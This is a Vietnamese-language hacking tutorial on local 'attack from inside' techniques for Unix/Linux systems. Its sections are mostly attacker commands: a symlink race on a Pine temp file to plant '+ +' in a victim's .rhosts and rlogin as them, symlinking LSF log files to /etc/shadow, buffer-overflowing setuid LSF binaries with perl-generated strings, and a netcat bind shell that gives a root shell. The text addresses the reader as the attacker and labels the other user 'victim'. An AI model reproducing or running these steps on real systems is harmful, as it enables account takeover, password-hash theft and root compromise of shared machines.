Attack From Inside là gì ?
Attack From Inside là các phương pháp tấn công từ bên trong hệ thống. Hay nói một cách khác là bạn đang ở trong hệ thống đó và tìm cách tấn công hệ thống đó ở bên trong. Chẳng hạn như bạn đã có user ở trong hệ thống đó. Nhưng bạn cần Get Root hay tấn công gây rốI loạn hệ thống đó từ bên trong thì gọI là Attack From Inside.
Bài viết này sẽ nêu qua một số cách Attack dựa vào một số sơ hở của Admin và một số phần mềm điển hình trên Unix.
1) Race Conditions Attack
Race Conditions (tình trạng tranh đua) = = > Một trong những cuộc tấn công phổ biến trên các hệ thống Unix/Linux
Race Conditions xảy ra khi một chương trình hoặc quy trình xử lý nào đó thực hiện một sự kiểm tra. Giữa thời gian mà một sự kiểm tra được làm và hoạt động được thực hiện, kết quả của cuộc kiểm tra đó có thể sẽ phản chiếu trạng thái của hệ thống. Hacker sẽ lợi dụng chương trình hoặc quy trình này trong lúc nó thực hiện đặc quyền.
Những chỗ yếu để làm nền tảng cho các cuộc tấn công Race Editions thường xuất hiện trong những chương trình yêu cầu những tập tin tạm thời. Như đoạn Code sau:
#!/bin/sh -
TMPFILE=/tmp/foo.$$
if test -x $TMPFILE; then
echo "temporary file already exists, possible attack"
exit 255
fi
#Creat our temporary file
date > $TMPFILE
(actual Script goes here)
rm $TMPFILE
Nó sẽ gắng tạo một tập tin tạm thời ở trong /tmp gọi là /tmp/foo.$$ = = > Phải chắc chắn rằng file này không tồn tại trước khi nó được Creat. Mặc dù file /tmp/foo.$$ có thể không tồn tại trước khi đoạn Code này được thực thi. Nhưng nó có thể được tạo ra trước những Command ngày tháng tạo các file excute ở trước. Hiểu nôm na là làm rối loạn hệ thống bởi ngày tháng tạo các file. Đây là cơ hội cho các Hacker...Nếu thành công họ có thể Excute các file or các program hoặc bị thoát ra với những thông báo lỗi về ngày tháng.
Nếu Script được chạy như một Cron Job, thì thông báo error sẽ không chỉ được báo đến một người. Hacker có thể trực tiếp thử Excute các Program đặc quyền. Để các cuộc tấn công theo kiểu này có hiệu quả. Hacker có thể tạo ra, gây lên một sự quá tải trên hệ thống bị tấn công. Với hy vọng CPU sẽ chuyển đổi qua lại giữa các quá trình thường xuyên hơn = = > làm quá tải hay làm ngưng trệ hệ thống bị tấn công.
Hiệu ứng của các cuộc tấn công kiểu này phụ thuộc vào các program dễ bị tổn thương và các file của nó (cả file tạm). Như đã nêu ở trên các Hacker có thể cố gắng buộc người dùng ghi đè lên những file hệ thống bởi việc tạo ra các Symlink trước khi các Command về ngày tháng được thực hiện. Chẳng hạn như các Version cũ của GCC bị Bug Race Edition = = > thì các file tạm ở /tmp của nó sẽ dễ dàng bị các Hacker khai thác.
2) Pine Bug
Trên các hệ thống Unix/Linux thường có Pine. Một chương trình Mail nhỏ và tiện dụng. Pine các phiên bản 3.91 thường có Bug là để lại một log file tạm thời ở /tmp với Set Mode là 666. Nó thường được xuất hiện khi một phiên Pine được hoạt động hay khi có một thư mới ở trong Inbox.
Bây giờ bạn bắt đầu quan sát trạng thái các Process bằng lệnh "ps -aux" và gắng quan sát xem những user nào đang sử dụng Pine. Sau đó tạo Symlink đến file đó.
Bạn xem qua ví dụ sau: victim (nạn nhân), you (bạn)
victim@localhost#: pine
you@localhost#: ps -aux | grep pine
you 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
victim 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
you@localhost#: ls -al /tmp/ | grep victim
- - rw-rw-rw- 1 victim elite 4 Aug 26 19:05 .302.f5a4
302.f5a4 = = > file tạm của pine tạo thành ở /tmp
you@localhost# : ps -aux | grep pine
you 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
you@localhost# : ln -s /home/victim/.rhosts /tmp/.302.f5a4
Lại tiếp tục quan sát trạng thái:
you@localhost# : ps -aux | grep pine
you 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
victim 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
you@localhost# : echo"+ +" > /tmp/.302.f5a4
you@localhost# : cat /tmp/.302.f5a4+ +
you@localhost# : rm /tmp/.302.f5a4
Bây giờ chúng ta rlogin đến victim
you@localhost# : rlogin litterbox.org -l victim
WOW! bây giờ bạn đã Login thành công với user victim...
3) LSF Platform
LSF Platform của
http://www.platform.com là một trong những Tool dùng để quản lý tài nguyên, ứng dụng theo dõi hoạt động và phân tích một hệ thống mạng máy tính Unix/Linux...
Tuy nhiên một số Version cũ của LSF có một số Bug khá nguy hiểm:
Vulnerability #1: Vấn đề với default log cấu hình mặc định khi cài đặt. Hacker có thể đọc bất cứ file nào trên hệ thống và dùng Hard Link để khai thác nó:
Khi cấu hình mặc định! Tất cả các file log của LSF đều được lưu giữ ở thư mục /tmp. Bằng cách sử dụng Sym Link các Hacker có thể đọc bất cứ file nào trên hệ thống:
ln -s /etc/shadow /tmp/lim.log.hostname
Khi Command được phát ra LSF sẽ nối những file log đến /etc/shadow và thay đổi Permission khiến mọi người có thể đọc nó.
Vulnerability #2: Vấn đề liên quan đến sự việc mà bất kỳ user nào cũng có thể có được các file cấu hình. Sự việc mà những user có thể sở hữu và tuỳ biến những file cấu hình rất nguy hiểm. Hacker có thể ra lệnh cho LSF làm những việc bất ngờ (dĩ nhiên là có hại cho hệ thống rồi).
Thay đổi LSF_ENVDIR như vậy nó sẽ hướng đến Home Directory của bạn:
you@localhost# : setenv LSF_ENVDIR /my/home/you
Copy các file cấu hình vào Home Directory của bạn:
you@localhost# : setenv LSF_ENVDIR /my/home/you
Thay đổi nội dung /my/home/dir/lsf.conf :
LSB_CMD_LOGDIR=/tmp/test
LSF_LOGDIR=/tmp/test
Bây giờ tạo /tmp/test :
you@localhost# : mkdir /tmp/test
Tiếp đến Sym Link file log của LSF đến /etc/shadow
you@localhost# : ln -s /etc/shadow /tmp/test/bqc.log.hostname
[ 'hostname' is your hostname ]
Bây giờ bạn cần tiếp tục bắt buộc những ứng dụng LSF tới bqc.log.hostname = = > Tất nhiên là nó cần có suid=root.
Như vậy bqc.log là ứng cử viên mà chúng ta cần. Tất cả những gì chúng ta cần là hỏi "bqc" về thông tin của hàng đợi không tồn tại.
you@localhost# : bqc -i dupa_zbita
"bqc" sẽ tìm ra ngoài mà không có hàng đợi như "dupa_zbita". Sau đó nó sẽ được lưu giữ vào log. nó sẽ sử dụng file config của chính mình /my/home/dir/lsf.conf
Vulnerability #3: Những sự bất thường bên trong "lsadmin" và "badmin". Hacker có thể khai thác sự bất thường này để Get Root. "lsadmin" và "badmin" được thực thi khi có UID = Root. Hơn nữa các Hacker còn có thể khai thác một số Bug "Buffer Overflow"
Chúng được xuất hiện khi "lsadmin" hoặc "badmin" đang cố gắng xác định thư mục môi trường của nó bới biến LSF_ENVDIR kiểm tra.
you@localhost# : setenv LSF_ENVDIR `perl -e 'print "A" x 292'`
you@localhost# : lsadmin [or badmin]
Segmentation fault
Nó đã bị Buffer Overflow...
Vulnerability #4: Bug này khá nguy hiểm...Hacker có thể làm tràn bộ đệm hay Get Root. Trong trường hợp không sẵn sàng sử dụng 'eauth' như một cơ chế chứng thực. Tất cả sự thực thi LSF được cài đặt với SUID = Root. Vấn đề này sẽ có thể dẫn đến lỗi tràn bộ đệm:
you@localhost# : bstatus `perl -e 'print "A" x 524'`
Bạn có thể đặt giá trị trên 524 nếu cần...
4) Get Root
Để Get Root bạn phải lợi dụng sự sơ hở về Permission của hệ thống. Thường thì /tmp được cấp phép khá lỏng lẻo. Đầu tiên bạn phải tạo một Shell đơn giản vào thư mục /tmp :
you@localhost# : cat /tmp/rootshell
#!/bin/bash
/bin/bash –I
Bây giờ ta lấy Netcat ra xài nào. Đặt Netcat ra Listen trên Port nào đó vào Shell mà ta mới tạo:
victim@localhost# : nc –vv –l –p 9999 –e /tmp/rootshell
listening on [any] 9999
Bây giờ bạn tiếp tục Connect đến Port 9999 mà bạn đặt Listen ở trên:
you@localhost#: nc –nvv hacked.machine.com 9999
hacked.machine.com [172.18.9.1] 9999 (?) open
stty: standard input: Invalid argument
root@localhost#: pwd
pwd
/rootHy vọng qua bài viết này bạn đã phần nào hiểu được một số cách tấn công Unix…Unix không phải là một OS bất khả xâm phạm…phải không ?